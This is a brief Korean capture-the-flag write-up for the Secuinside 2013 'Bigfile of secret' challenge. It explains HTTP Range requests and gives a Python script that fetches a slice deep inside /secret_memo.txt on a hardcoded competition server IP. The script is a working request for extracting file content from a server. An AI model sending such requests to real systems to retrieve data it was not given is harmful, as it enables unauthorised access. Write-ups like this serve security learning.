Computer Security/CTF
[Secuinside 2013] Bigfile of secret, write up
tunz
2013. 5. 26. 23:08
http 헤더중 range에 관한 문제이다.
Range의 bytes=x-y로 범위를 조작해주면,
응답페이지중 x번째부터 y번째까지의 바이트만을 출력해준다.
import httplib,urllib; conn = httplib.HTTPConnection("119.70.231.180",80) conn.connect() conn.putrequest('GET','/secret_memo.txt') conn.putheader('Connection','keep-alive') conn.putheader('Range','bytes=100000000-100005000') conn.endheaders() response = conn.getresponse() data = response.read() print data